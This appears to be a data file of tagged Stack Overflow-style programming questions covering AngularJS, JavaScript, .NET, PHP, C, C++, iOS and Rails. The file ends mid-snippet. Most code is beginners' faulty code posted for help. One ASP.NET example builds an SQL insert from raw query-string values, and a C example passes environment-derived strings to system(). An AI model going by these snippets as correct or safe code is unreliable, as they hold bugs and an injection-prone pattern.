how to add and remove active class dynamically  in my webpage i have 2 languages <strong>english</strong> and <strong>hindi</strong>. by default my page will be in english.    when i click on hindi language i want to add active class to <code>li</code> which has <code>hin</code> id  and want to remove <code>active</code> class  which has <code>eng</code> id.   <pre><code>&lt;li class= lang active  id= eng &gt;   &lt;a href=   ng-click= myfunc( eng ); &gt;eng &lt;/a&gt; &lt;/li&gt; &lt;li class= lang  id= hin &gt;   &lt;a href=   ng-click= myfunc( hin ); &gt;hin &lt;/a&gt; &lt;/li&gt; </code></pre>   whenever i change language page gets refreshed. i need these changes once page is refreshed   <pre><code>myfunc = function(item) {   $scope.selectedlang = item;              var test = {value: item  displayvalue:   };   c.server.get(test).then(function() {               $window.location.reload();         })     </code></pre>   i tried like this.   <pre><code>&lt;li ng-class= { active :selectedtab ===  eng }  ng-click= selectedtab =  eng  &gt;   &lt;a href= #eng &gt;english&lt;/a&gt; &lt;/li&gt; &lt;li ng-class= { active :selectedtab ===  hin }  ng-click= selectedtab =  hin  &gt;   &lt;a href= #hin &gt;hindi&lt;/a&gt; &lt;/li&gt; </code></pre>   but these changes are not appearing after a page refresh.    <strong>how can i toggle classes using angularjs </strong>,angularjs
"freecodecamp challenges- seek and destroy  i am trying to solve this challenge seek and destroy. i can t figure out what is wrong. any help      seek and destroy you will be provided with an initial array (the first argument in the destroyer function)  followed by one or more arguments. remove all elements from the initial array that are of the same value as these arguments.    this is the initial code below: <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function destroyer(arr) {
   // remove all the values
   return arr;
 }
 
 destroyer([1  2  3  1  2  3]  2  3);</code></pre>
 </div>
 </div>
     this is my code below:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function destroyer(arr) {
   var letsdestroythis = [];
   var i =1 ; while (i&lt;arguments.length) {
     letsdestroythis.push(arguments[i]);
     i++;
   }
   
   for(var j=0 ; j&lt; arguments[0].length; j++) {
     for (var k= 0; k&lt; letsdestroythis.length; k++) {
       if(arguments[0][j] === letsdestroythis[k]){
         arguments[0].splice(j  1);
       }
     }
   }
   
   return arguments[0];
 }
 
 destroyer([2  3  2  3]  2  3);</code></pre>
 </div>
 </div>
     thanks in advance!",javascript
how does this .net code work  can you use pseudo code to explain   i have the .net code below and i am trying to figure out how it works  can someone please explain how it works using pseudo code or english whichever is the best way    <pre><code>namespace export {   public class licencing   {     public string licensingstr;     public string regvalue;      public bool islicenced(string chkhdr)     {       if (chkhdr ==  live system )         return true;       int num = 0;       for (int index = 0; index &lt; chkhdr.length; ++index)         num += (int) chkhdr[index];       return this.getregchksum() == num * 31;     }      public void setregchksum(string chksum)     {       registrykey subkey = registry.localmachine.opensubkey( software   true).createsubkey( professional services \\configuration );       subkey.setvalue( maxrows   (object) chksum);       subkey.close();     }      private int getregchksum()     {       registrykey registrykey = registry.localmachine.opensubkey( software\\professional services \\configuration );       if (registrykey == null)         return 0;       object obj = registrykey.getvalue( maxrows );       if (obj == null)         return 0;       this.regvalue = convert.tostring(obj);       this.regvalue = this.regvalue.substring(1  this.regvalue.length - 2);       registrykey.close();       return int.parse(this.regvalue  numberstyles.hexnumber);     }   } } </code></pre>,.net
using php remove duplicates from an array without using any in- built functions   lets say i have an array as follows :   <pre><code>$samparray = array (1 4 2 1 6 4 9 7 2 9) </code></pre>   i want to remove all the duplicates from this array  so the result should be as follows:   <pre><code>$resultarray = array(1 4 2 6 9 7) </code></pre>   but here is the catch!!! i don t want to use any php in built functions like <code>array_unique()</code>.    how would you do it   :),php
message displaying in .net  i am filling a datatable in my windows application. the data table looks like this    <pre> date           product aug 2010       abc-1 aug 2010       xyz-1 aug 2010       mno-2 aug 2010       wor-4 sep 2010       xyz-2 sep 2010       res-3 sep 2010       wor-4 </pre>   i want to display a message box in this format    <pre> aug 2010 - abc-1 xyz-1........ sep 2010 - xyz-2 res-3......... </pre>   only the first 2 products for each month should be displayed rest should be truncated for each month.    i hope i have explained my problem clearly.,.net
"show pdf content in textarea using aspnet  is there any way i can open my pdf document in text area using asp.net web application.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;textarea id= quote  cols= 50  rows= 5 &gt;
 some text here
 &lt;/textarea&gt;</code></pre>
 </div>
 </div>",asp.net
how do i add event listeners for ruby methods   i want to implement an event listener on a button that depends on whether or not a user is signed in or not  is there a way to integrate this code in rails.  for instance  if a user clicks the  love-it  button for an object and they re signed in  the information of the object is saved to the database.  if they re not signed in  the same  love-it  button should redirect them to the sign-in form.  please be as detailed as possible.  thank you.,ruby-on-rails
detecting a running instance of a program and passing it information  in .net  what is the most reliable way to detect if an instance of the same program is already running   further  what is the best way to pass command line arguments to the already-running instance (e.g. to open a specific document),.net
how to create gui in c++  i m new in c++ and looking for a way to create gui just like windowbuilder under eclipse (java). i will appreciate if someone can help me to find tool like windowbuilder. os : linux    thank you,c++
how to compare two uiimage objects  i am developing one application.in that i am using the <code>imageviews</code>.so before changeing the <code>uiimageview</code> image i need to take that image in <code>uiimage</code> obejct and compare with another <code>uiimage</code> object for finding both are sam or not. so please tell me how to do that one.,ios
c program: how to print a string like this...   if my input is:   ribbon the output would be:     <pre><code>  rn  rion   ribbon </code></pre>   or if my input is:  harry     <pre><code>  hy  hary   harry   </code></pre>   it should look like a text animation and text should appear one by one (front and the back letter should come in first).    here is my code  but it does not seem to work since it has a wront output.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt;  int main () {     char input[10];     int front  back;     int n; //counter      n = strlen(input);      printf ( input\n );     fgets (input  sizeof (input)  stdin);      for (front=0 back=n-1; front&lt;=((n-1)/2)||back&gt;=(((n-1)/2)+1);front++ back--) {         if (front==0||back&amp;&amp;(n-1)) {             printf ( %c  input[front]);             printf ( %c   input[back]);             front++;             back--;             usleep (500000);         }         else {             if (front&lt;=((n-1)/2)||back&gt;=(((n-1)/2)+1)) {                 front++;                 back --;             }             else if (front==n) {                 printf ( %c\n   input[front]);                 printf ( %c\n   input[back]);             }         }     }        return 0; } </code></pre>,c
get the exact path in associated textbox in file upload contoller in asp  i am using <code>asp</code> file upload controller.. when i upload files in that  i get path in associated text box of file upload controller as <code>c:\users\owner\desktop\ima6.jpg</code>.    but when i access that path in code behind file iam getting a default path <code>c:\program files (x86)\microsoft visual studio 9.0\common7\ide\ima6.jpg</code>     but i want that actual path listed in associated textbox of fileupload controller. then i want to store that file in ftp server...    so any one help me... for this task... iam using <code>visualstudio2008</code> language is  c# and the browser is mozilla,.net
insert array from query string into sql 2005  i am trying to insert an array into sql with no luck. i get the string from a gprs device that looks like this:    <pre><code>/weightbridge.aspx readeid=a1b5a0f5c4e4a1b5a0f5c4e4&amp;tagid=45b6c56a90b645b6c56a90b6 a47b1256a45f0843 b49b1256a45f08ff 30 sep 2010 21:33:59 i &amp;custom=vehicle num </code></pre>   all i want to do is to split the tagid array and insert it with the rest of the string into a sql table. the tagid array must inserted into the following colomns in the db. tagid  tid  usermemory  datetime and direction. after the insert i just give a response that the insert was successfull or failed. thank you     my code this far:   <pre><code>imports system.data.sql imports system.data.sqlclient  partial class weightbridge     inherits system.web.ui.page  protected sub page_load(byval sender as object  byval e as system.eventargs) handles me.load      insertvalue()   end sub private sub insertvalue()     dim sqlconn as new sqlconnection     dim strconnection as string     dim mytagid as string     dim myreaderid as string     dim mycustom as string     dim mytagarray as array     dim i as integer       request tagid array     mytagid = request( tagid )     if mytagid.length &gt; 0 then          response.write(mytagid)          split tagid array          mytagarray = split(mytagid     )         for i = 0 to ubound(mytagarray) - 1         next     end if      try     strconnection =  my connection string       sqlconn = new sqlconnection(strconnection)     dim insertcommand as new sqlcommand( insert into weightbridge(readerid  tagid  tid  usermemory  datetime  direction  custom) values (    &amp; request( readerid ) &amp;      0   0   0   0   0       &amp; request( custom ) &amp;   )   sqlconn)     sqlconn.open()      insertcommand.executenonquery()      sqlconn.close()      catch ex as exception         response.write( failedno )     end try      response.write( success )  end sub  end class </code></pre>,asp.net
findtext extension not working  i have a findtexts function in php to get the extension of a file uploaded  and it s not working. if i echo $ext i get nothing.   <pre><code>if (isset($_post[ submit ]))  {  if ($_post[ mainfile ] !=   )  {        function findexts ($filename)      {          $filename = strtolower($filename) ;          $exts = preg_split( %[/\\\\.]%   $filename);         $n = count($exts)-1;          $exts = $exts[$n];          return $exts;      }       //this applies the function to our file       $ext = findexts ($_files[ mainfile ][ name ]) ;      $ran = rand () ;     $ran2 = $ran. . ;     $target = $pid. _main_ .$ran2.$ext;      $ok=1;        echo  ext=   .$ext;      echo  &lt;br&gt;target =   .$target;  }    } </code></pre>,php
website creation from scratch  i want to learn to make websites. know the basics of html and css  now learning js. tell me if i want to write their own websites not using cms what i need to use an additional,html
advice on php parsing  i am using phptumblr  a wrapper around the tumblr blog api that allows you to access posts via php.     i want the site to display new posts dynamically  so i am using php to write html code. i find myself writing things like print(blablabla); or print(); ... and so on  and setting the header of the document to text/html  so that the browser would read it as html.    this just seems to me like a kind of ugly hack  and i was wondering if most dynamic pages are set up in this way  or are there different ways to convert php objects(say arrays) automatically into html tags. so far it doesnt seem like there are any.) maybe i have to be using some cms software     any advice would be great.    thanks,php
two ways of class initialization what is the difference   i learn java and wonder if there any difference between following implementation of class initialization.    <strong>[option 1]</strong>   <pre><code>public class launchhandler implements someitf{     public static launchhandler create(arraylist&lt;string&gt; params){         launchhandler self = new launchhandler(params);         return self;     }     private launchhandler(arraylist&lt;string&gt; params){         mparams = params;     } } </code></pre>   so i call it as:   <pre><code>someitf  launch = launchhandler.create(params); </code></pre>   <strong>[option 2]</strong>   <pre><code>public class launchhandler implements someitf{      public launchhandler(arraylist&lt;string&gt; params){         mparams = params;     } } </code></pre>   i call it as:   <pre><code>someitf  launch = new launchhandler(params); </code></pre>   for me both options do the same but 1st option i saw it in big project.    what is the advantage of 1st option     can somebody spread the light,java
lines disappearing in c program  i ve been trying to figure this out for a while and haven t found anything about this behavior online.  i m thinking it is something c-language specific  so i m putting it up here to try to learn what that is.  when the following function has it s name changed to main and is compiled and run on its own  it does exactly what i m looking for:   <pre><code>void print_to_screen(void) {     system( clear );     char *usor;     usor = malloc(9 * sizeof(char));     if(sizeof(getenv( user )) &gt; 8)         return;     usor = getenv( user );      file *infile;     char buf[bufsiz];     char filein[30];     sprintf(filein   /home/%s/output3   usor);      if((infile = fopen(filein   r )) == null) {         perror(filein);         return;     }      int lines = 0;     int count = 0;     int i = 0;     while(fgets(buf  bufsiz  infile) != null)             lines++;     if(lines == 0) {         printf( sortact empty. press enter. );         getchar();         return;     }     rewind(infile);      for(i = 0; i &lt;= page; i++) {         if(count == 0) {             printf( %d accounts worked\n   lines);             //sleep(2);             printf(     %-8s %-8s  %8s   %8s  %8s  %8s\n    begin    end    msg #    activity    response    next_act );             //sleep(2);         }          if(lines == count) {             printf( end of output.  press enter. );             fclose(infile);             getchar();             return;         }         fgets(buf  bufsiz  infile);         count++;         printf( %3d %s   count  buf);      }      while(fgets(buf  bufsiz  infile) != null) {          printf( q) to quit  enter) for line-by-line feed   b ) backup  *) next page\n );          char c = getchar();         if(c ==  b ) {                 if(count == page)                     continue;                 system( clear );                 count -= 2;                 rewind(infile);                 for(i = count; i &gt; 0; i--) {                     fgets(buf  bufsiz  infile);                     printf( %3d %s   count  buf);                 }                 continue;         }         else if(c ==  \n ) {             if(lines == count) {                     printf( end of output.  press enter. );                     fclose(infile);                     getchar();                     return;             }             system( clear );             count++;             rewind(infile);             i = count;             count = 0;             for(; i &gt; 0; i--) {                 fgets(buf  bufsiz  infile);                 count++;                 printf( %3d %s   count  buf);                    }             continue;         }         else if(c ==  q ) {                 return;         }         else {             if(lines == count) {                     printf( end of output.  press enter. );                     fclose(infile);                     getchar();                     return;             }             system( clear );              for(i = 0; i &lt;= page; i++) {                 if(lines == count) {                     printf( end of output.  press enter. );                     fclose(infile);                     getchar();                     return;                 }                 fgets(buf bufsiz  infile);                 count++;                 printf( %3d %s   count  buf);             }             continue;         }     }     fclose(infile); } </code></pre>   however  when i run in as a separate function from the following switch statement  it cuts off the first two lines of output (the accounts worked and the header line):   <pre><code>while(c == 0) {         printf( 1) print to the screen  most recent first\n );         printf( 2) print to the screen  least recent first\n );         printf( 3) print to paper\n );         printf( 4) cancel\n );         c = getchar();         switch(c) {             case  1  :                 sprintf(sort_c   sort -r -k1.1 1.2 -k1.4 1.5 -k1.7 1.8 /home/%s/output2 &gt; /home/%s/output3   usor  usor);                 free(usor);                 system(sort_c);                 print_to_screen();                 return 0;             case  2  :                 sprintf(sort_c   sort -k1.1 1.2 -k1.4 1.5 -k1.7 1.8 /home/%s/output2 &gt; /home/%s/output3   usor  usor);                 free(usor);                 system(sort_c);                 print_to_screen();                 return 0;             case  3  :                 sprintf(sort_c   sort -k1.1 1.2 -k1.4 1.5 -k1.7 1.8 /home/%s/output2 &gt; /home/%s/output3   usor  usor);                 system(sort_c);                 sprintf(print_c   qprt -plp3 /home/%s/output3   usor);                 system(print_c);                 free(usor);                 return 0;             case  4  :                 free(usor);                 return 0;             default :                 c = 0;                 system( clear );                 break;         }     } </code></pre>   i ve tried removing the loop and about a billion other things  but nothing has helped the behavior.  those first two lines were originally before the loop they are now in.  those commented out sleep() statements showed me that those lines are both being printed -- one and then the other -- and then they are being cleared somehow.  if someone can help me understand what is going on  i would appreciate it.    thanks    (oh  and this is part of a larger program and the  usor  variable is going to be checked.  i know i would probably catch hell if i didn t add this haha.)    the expected output is this:   <blockquote>    46 accounts worked       begin    end          msg #   activity  response  next_act   1 12:44:29 13:04:19  0012497389         cr                  cs   2   08:40:28 08:54:40  0012498082         zz        zz        zz   3   08:40:06 08:40:22  0012500689         zz        zz        zz   4   08:39:47 08:39:59  0011906009         zz        zz        zz   5   08:39:31 08:39:43  0012199860         zz        zz        zz   6   08:39:04 08:39:27  0012499803         zz        zz        zz   7   08:37:58 08:38:50  0012514625         zz        zz        zz   8   08:37:18 08:37:55  0012224477         zz        zz        zz   9   08:37:03 08:37:15  0012169778         zz        zz        zz  10   08:36:20 08:36:59  0012499231         zz        zz        zz  11   08:36:06 08:36:17  0012501138         zz        zz        zz  12   08:34:58 08:36:00  0012206191         zz        zz        zz  13   08:34:20 08:34:51  0012349829         zz        zz        zz  14   08:31:59 08:34:11  0012348605         zz        zz        zz  15   08:31:22 08:31:54  0012431227         zz        zz        zz  16   08:30:12 08:31:04  0012425863         zz        zz        zz  17   08:29:13 08:30:02  0012420569         cr                  ds  18   08:07:07 08:29:07  0012414680         zz        zz        zz  19   08:06:42 08:07:01  0012414680         cr                  ds  20   08:06:28 08:06:37  0012185000         zz        zz        zz  21   08:05:26 08:05:49  0012206880         zz        zz        zz  22   08:04:23 08:05:22  0011775414         zz        zz        zz q) to   quit  enter) for line-by-line feed   b ) backup  *) next page  </blockquote>   which is what i get when it s run as its own program.  this is what i get without it:   <blockquote>    12:44:29 13:04:19  0012497389         cr                  cs   2   08:40:28 08:54:40  0012498082         zz        zz        zz   3   08:40:06 08:40:22  0012500689         zz        zz        zz   4   08:39:47 08:39:59  0011906009         zz        zz        zz   5   08:39:31 08:39:43  0012199860         zz        zz        zz   6   08:39:04 08:39:27  0012499803         zz        zz        zz   7   08:37:58 08:38:50  0012514625         zz        zz        zz   8   08:37:18 08:37:55  0012224477         zz        zz        zz   9   08:37:03 08:37:15  0012169778         zz        zz        zz  10   08:36:20 08:36:59  0012499231         zz        zz        zz  11   08:36:06 08:36:17  0012501138         zz        zz        zz  12   08:34:58 08:36:00  0012206191         zz        zz        zz  13   08:34:20 08:34:51  0012349829         zz        zz        zz  14   08:31:59 08:34:11  0012348605         zz        zz        zz  15   08:31:22 08:31:54  0012431227         zz        zz        zz  16   08:30:12 08:31:04  0012425863         zz        zz        zz  17   08:29:13 08:30:02  0012420569         cr                  ds  18   08:07:07 08:29:07  0012414680         zz        zz        zz  19   08:06:42 08:07:01  0012414680         cr                  ds  20   08:06:28 08:06:37  0012185000         zz        zz        zz  21   08:05:26 08:05:49  0012206880         zz        zz        zz  22   08:04:23 08:05:22  0011775414         zz        zz        zz q) to   quit  enter) for line-by-line feed   b ) backup  *) next page  </blockquote>   and yes  i ve run it through gdb a bunch of times and it isn t showing me how the screen is clearing.,c
why is this  in javascript 11.99*11 = 131.89000000000001  in javascript.   <pre><code>&lt;script&gt;     alert(10.99*11);// = 120.89     alert(11.99*11);// = 131.89000000000001     alert(12.99*11);// = 142.89000000000001     alert(13.99*11);// = 153.89000000000001     alert(14.99*11);// = 164.89000000000001     alert(15.99*11);// = 175.89000000000001     alert(16.99*11);// = 186.89 &lt;/script&gt; </code></pre>   why is this     why returns 000000000001,javascript
get the filename that your imageview loaded it s image from  i am looking for a built in method of the imageview object to tell me which file i retrieved my image from.    for example earlier in the code i called...   <pre><code>imageview iv = new imageview(mainactivity.this);                 iv.setimagebitmap(bitmapfactory.decodefile(f.getabsolutepath())); </code></pre>   assume i no longer have a reference to  f  and need to find out what f was. is there a way to do that  my work around is creating a class that extends imageview and has a string pared up with it. (or create a map between an imageview and a string)    recommendations,android
c++ for loop is being skipped  what am i doing wrong with this small program.    i m just starting to learn c++  and by all mean i can accept this as a moot question. i m reading through the prata c++ primer and it gave me a code example which takes a char array and uses strcmp() in a for loop which iterates sequentially through the ascii code starting with     until a test char variable ==s a set value from another char.    thinking i could outdo the book i tried to create a similar program which takes a char array and using a for loop will take a test char array and iterate through each value of the array until the two variables are equal.    i simplified the program to only take the first of each array in the for loop because i was experiencing a problem where the program seems to simply skip over the for loop and terminate.     below are first the prata code snippet  followed by my piece of code. any feedback (even abusive >_&lt;) would be useful.   <pre><code>#include &lt;iostream&gt; #include &lt;cstring&gt;  int main() { using namespace std; char word[5] =   ate ;  for (char ch = ‘a’; strcmp(word   mate ); ch++) { cout &lt;&lt; word &lt;&lt; endl; word[0] = ch; }  cout &lt;&lt;  after loop ends  word is   &lt;&lt; word &lt;&lt; endl; return 0; } </code></pre>   my code (though maybe poorly done  i can accept that)   <pre><code>#include &lt;iostream&gt; #include &lt;cstring&gt;  int main() {     using namespace std;     char word[5] =  word ;     char test[5] =       ;     int j = 0;     int i = 0;      cout &lt;&lt;  word is   &lt;&lt; word &lt;&lt;  \ntest is   &lt;&lt; test &lt;&lt; endl;     cout &lt;&lt; word[0] &lt;&lt;     &lt;&lt; test[0] &lt;&lt; endl;     for (char temp =    ; word[0] == test[0] || temp ==  z ; temp++) {         if ((word[i]) == (test[j])) {             test[j] = temp;             j++;             temp =    ;         }         test[j] = temp++;         cout &lt;&lt; test &lt;&lt; endl; //added to see if the for loop runs through once                                     //which is does not     }     return 0; } </code></pre>,c++
does a java getter incur a performance penalty  if i have the code    <pre><code>int geta(){  return a; } </code></pre>   and then do something like   <pre><code>int b = obj.geta(); </code></pre>   instead of   <pre><code>int b = obj.a; </code></pre>   will that mean that the stack will have to be pushed and popped ultimately slowing down my code,java
passing string variable in javascript  i m dynamically creating a button. i can pass a variable with a numerical value (1) but i can t pass a string variable.  why    <pre><code>function test(test1) {   alert(test1); } document.write( &lt;input type= button  value=   id=j onclick= test(1) /&gt; ); </code></pre>,javascript
namespace and class conflict( )  this is a bad title for the question  but i m not quite sure of a better one.    i have a namespace called globals with a class x in it. i also have a class called globals. when i try to access globals.x.staticmember it tries to access the class globals.x and complains that x doesn t exist. how do i reference the namespace globals - ie ::globals.x.staticmember (:: doesn t compile).,c#
bad request (400): why   why do i get a 400 - bad request error using the following url   it is encoded using server.urlencode.  the actual <code>path</code> query parameter is <code>c:\development\chase\exports\chaseexport-090312073930.zip</code>   <pre><code>http://localhost:50199/common/forms/export_stream.aspx%3fpath%3dc%3a%5cdevelopment%5cchase%5cexports%5cchaseexport-090312073930.zip </code></pre>,asp.net
pass list of ids between forms  i have an asp.net c# project.    i have to pass a list of values (id numbers such as  23 4455 21 2 765 ...) from one form to another. since querystring is not possible because the list could be long  which is the best way to do it     thanks in advance.    thanks for all your answers  you are helping a lot !!! i decided to do this:    on the first form:    list lrecipients = new list(); ..... session[ recipients ] = lrecipients;    on the final form: list lrecipients = (list)session[ recipients ]; session.remove( recipients );,asp.net
how to give fix width to <td>   since i am generating data dynamically..adding <code>&lt;tr&gt;</code> and <code>&lt;td&gt;</code> in it  the <code>&lt;td&gt;</code>s are generate according to data count and  according to setting in each row only 2 data can be display. each cell is given width 50%    the problem is if the data count is odd for example 3 the first row and its cells generate perfectly..but in the next row due to single cell it take full space  i can t give width in pixels because of different screen resolutions :(,html
add missing properties to an object with a blank value if they don t exist  i have an array of objects with different properties:   <pre><code>var arr = [];  var obj_1 = {      key_a :  value_a        key_b :  value_b  };  arr.push(obj_1);  var obj_2 = {      key_a :  value_a        key_b :  value_b        key_c :  value_c  };  arr.push(obj_2); </code></pre>   how do i automatically add the new key (key_c)  or any other key  to every object in the array with a blank value if it doesn t already exist     so the array would look like this:   <pre><code>    [         {              key_a :  value_a               key_b :  value_b               key_c :            }          {              key_a :  value_a               key_b :  value_b               key_c :  value_c          }     ] </code></pre>   <strong>please note:</strong> i m building a web scraper and unknown keys/properties will be added to objects and pushed to the array in a foreach loop.,javascript
groupbox.controls.count does not update in c#  i m trying to search through a series of contacts. (saved in an xml file  and then recovered to the variable mycontacts) the code for searching is fine  it gets the right results  my problem is showing the contact in the text boxes. this is my code for showing the results in the text boxes:   <pre><code>private void showcontact(int index)     {         txtnameresult.text = mycontacts[index].getname();         txtfnameresult.text = mycontacts[index].getfname();         txtnumberresult1.text = mycontacts[index].getsinglenumber(0);         int position = 30;         for (int i = 1; i &lt; mycontacts[index].getnumcount(); i++)         {             textbox formtxtbox = txtnumberresult1;             textbox txtmynum = new textbox();             gbresult.controls.add(txtmynum);             txtmynum.size = formtxtbox.size;             txtmynum.location = new point(formtxtbox.location.x  formtxtbox.location.y + position);             position += 30;             txtmynum.text = mycontacts[index].getsinglenumber(i);             txtmynum.readonly = true;             txtmynum.name =  txtnumberresult  + (i + 1).tostring();             txtmynum.tabindex = i + 2;             if (this.height &lt; 414)             {                 gbresult.height += 30;                 this.height += 30;             }          }//end of for     }//end of show contact </code></pre>   and this is my form:   <blockquote>    ![search   form][1]  </blockquote>   each contact can have up to 5 numbers and with each extra number a text box is added under the txtnumberresult1 and the groupbox and form height are extended. the problem is that when i search for a contact with 5 numbers it shows it correctly but if i search for another contact after that  the extra textboxes don t delete. this is rather odd  but after an hour of debugging i finally found out that the problem is in my <code>clearresults()</code> code the <code>gbresult.controls.count</code> (<strong>gbresult</strong> is the groupbox) is 8 (it should be 11 now) this is my <code>clearresults()</code> code(the code that executes at the beginning of save button click event  it resets everything):   <pre><code>private void clearresults()     {         gbresult.focus();         txtnameresult.text =   ;         txtfnameresult.text =   ;         txtnumberresult1.text =   ;         foreach (control txtbox in gbresult.controls)         {                 if (txtbox.gettype() == typeof(textbox))                 {                     if (txtbox.name !=  txtnumberresult1  &amp;&amp; txtbox.name !=  txtnameresult  &amp;&amp; txtbox.name !=  txtfnameresult )                     {                         //remove the controls                         txtbox.text =   ;                         gbresult.controls.remove(txtbox);                         txtbox.dispose();                     }//end of if                 }//end of if         }//end of foreach         //shrink the form         while (this.height &gt; 294 &amp;&amp; gbresult.height &gt; 129)         {             this.height -= 30;             gbresult.height -= 30;         }     }//end of clear results </code></pre>   thank you in advance and sorry if it seems a bit confusing! ps: i can t post images as i don t have the required rep :|    edit: this is the correct clearresults() method:   <pre><code>private void clearresults()     {         gbresult.focus();         txtnameresult.text =   ;         txtfnameresult.text =   ;         txtnumberresult1.text =   ;         //foreach (control txtbox in gbresult.controls)         for (int i = 15; i &gt; -1; i--)         {              try             {                 var txtbox = gbresult.controls[i];                 if (txtbox.gettype() == typeof(textbox))                 {                     if (txtbox.name !=  txtnumberresult1  &amp;&amp; txtbox.name !=  txtnameresult  &amp;&amp; txtbox.name !=  txtfnameresult )                     {                         //remove the controls                         txtbox.text =   ;                         gbresult.controls.remove(txtbox);                         txtbox.dispose();                     }//end of if                 }//end of if             }//end of try             catch (exception)             {                  continue;             }         }//end of for          //shrink the form         while (this.height &gt; 294 &amp;&amp; gbresult.height &gt; 129)         {             this.height -= 30;             gbresult.height -= 30;         }     }//end of clear results </code></pre>   for those who have the same problem :),c#
scrolling on tableview is so slow  i have a tableview which has image and a text behind  i create the cells like below code :   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     static nsstring *cellidentifier = @ cell ;      uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil) {          cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:cellidentifier] autorelease];      }      cell.accessorytype = uitableviewcellaccessorydisclosureindicator;      nsdictionary * companyproductrow = [db getcompanyproductrow:[self.companyproductids objectatindex:indexpath.row]];      int companyproductid = [[companyproductrow objectforkey:@ id ] intvalue];      cell.tag = companyproductid;      cell.textlabel.text = [companyproductrow objectforkey:@ imagepath ];      nsstring* fullpath = [filemanager fullpath:companyproductid fairdirectory:[[self.currentfair objectforkey:@ id ]intvalue]];      [[cell imageview] setimage:[uiimage imagewithcontentsoffile:fullpath]];      return cell; } </code></pre>   i read some tips about tableview performance on apple developer site but all of they said is : reuse cells. object allocation has a performance cost  especially if the allocation has to happen repeatedly over a short period—say  when the user scrolls a table view. if you reuse cells instead of allocating new ones  you greatly enhance table-view performance. avoid relayout of content. when reusing cells with custom subviews  refrain from laying out those subviews each time the table view requests a cell. lay out the subviews once  when the cell is created. use opaque subviews. when customizing table view cells  make the subviews of the cell opaque  not transparent.    the sample in apple site is the same  but i want to know is there any way to have better performance when scrolling on uitableview  (when we should read image from disk).    so thanks,ios
call parent method in child class  i have a very simple situation:     i have this class:    <pre><code>class animal(object):     def do_stuff(self):         return self.__yell()   class dog(animal):     def yell(self):         print( yelling ) </code></pre>   i want to be able to call    <pre><code>d = dog()  d.do_stuff()  </code></pre>   however i get    <blockquote>    attributeerror:  dog  object has no attribute  _animal__yell    </blockquote>   the parent class will implement do_stuff which will call each subclasses yell method  but this is not working,python
how can i extract the path of a file without arguments from a string   i have a string containing a path to an executable file that also may or may not have command line arguments in it.    for example:   <pre><code> c:\foo\bar.exe   c:\foo\bar.exe /test   c:\foo\bar.exe {0}   c:\foo\bar.exe -snafu  </code></pre>   i m trying to break the string up into path part and the arguments part. the arguments  part may be in pretty much any format. but the io.path functions assume that the string is a path without arguements. for example  if i call:   <pre><code>io.path.getfilename(path)       </code></pre>   it returns <code>bar.exe /test</code>  <code>bar.exe {0}</code> or <code>bar.exe -snafu</code>    windows can obviously tell the difference when i run this at a command prompt so there must be some way to leverage an existing function.    i can surround the path part of the string in quotes if i need to. but then the <code>io.path</code> calls fail. for example:   <pre><code>  io.path.getfilename(   c:\windows\write.exe   {0} ) </code></pre>   throws an arguement exception: illegal characters in path.,.net
is there working ie11 html date picker  (no js and or bootstrap)  i would like to ask if anyone can help me with my <strong>date picker</strong> problem. i need a <strong>date picker</strong> that will work on <strong>ie11</strong> but does not include js and bootstrap. the thing is  the company i am working does not allow other browsers (chrome  firefox etc.)  only ie  also does not allow scripting (use of js).    thanks in advance :),html
a form on this page can not be clicked.  view this site with mobile  portrait mode with iphone 6 settings:  <a href= https://glitties.com/  rel= nofollow >https://glitties.com/</a>    the  keep me in the loop  form near the bottom can not be clicked. any ideas,css
rails 3 empty field on submit displays multiple error messages  i am new to rails and currently learning about validations  so i have created a form within which i have a field named no (type integer)  in the model for validation i have done something like this:   <pre><code>validates :no          :presence =&gt; true          :uniqueness =&gt; true          :numericality =&gt; { :only_integer =&gt; true  :greater_than_or_equal_to =&gt; 1  :less_than_or_equal_to =&gt; 99999 } </code></pre>   now when nothing is entered than two error messages are displayed    1]noを入力してください。 -> please input the no. 2]noは数値で入力してください。 -> please enter the number in integer only.    sorry abt the japanese stuff as my os is in japanese ;-)    what i need is that when the  no  field is empty it should only display the error_message for that emptiness. currently it is displaying error_message for both presence &amp; numericality when the field is just empty.    i m sorry if this is a really basic question i have tried searching for answers but i can t seem to find any.,ruby-on-rails
"how do i prevent my setinterval() from multiplying   i m modifying <a href= http://themarklee.com/2014/10/05/better-simple-slideshow/  rel= nofollow >a better simple slideshow</a> to have pausing capability. i ve managed to separate pausing and unpausing out of autocycle() into their own methods (pausecycle and unpausecycle)  so i can use them for the pause control as well as autocycle(). i ve created the addpause() method to generate the pause control. the addpause() method successfully pauses the slideshow  but does something funky with the setinterval() or the interval var being passed to it when unpausing the slideshow. it appears to result in an additional setinterval() running simultaneously. here s the code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var afslides = function(el  options) {
   var $slideshows = document.queryselectorall(el)  // a collection of all of the slideshows
     $slideshow = {} 
     slideshow = {
       init: function(el  options) {
         this.counter = 0; // to keep track of current slide
         this.interval = 0; // to control autocycle
         this.paused = 0; // to keep track of whether paused or not
         this.el = el; // current slideshow container
         this.$items = el.queryselectorall( figure ); // a collection of all of the slides  caching for performance
         this.numitems = this.$items.length; // total number of slides
         options = options || {}; // if options object not passed in  then set to empty object 
         // options.auto = options.auto || false; // if options.auto object is not passed in  then set to false
         this.opts = {
           auto: (typeof options.auto ===  undefined )   false : options.auto 
           speed: (typeof options.speed ===  undefined )   6000 : options.speed 
           pause: (typeof options.pause ===  undefined )   false : options.pause 
           pauseonhover: (typeof options.pauseonhover ===  undefined )   true : options.pauseonhover 
         };
         this.$items[0].classlist.add( current ); // add .current class to first figure
         if (this.opts.auto) {
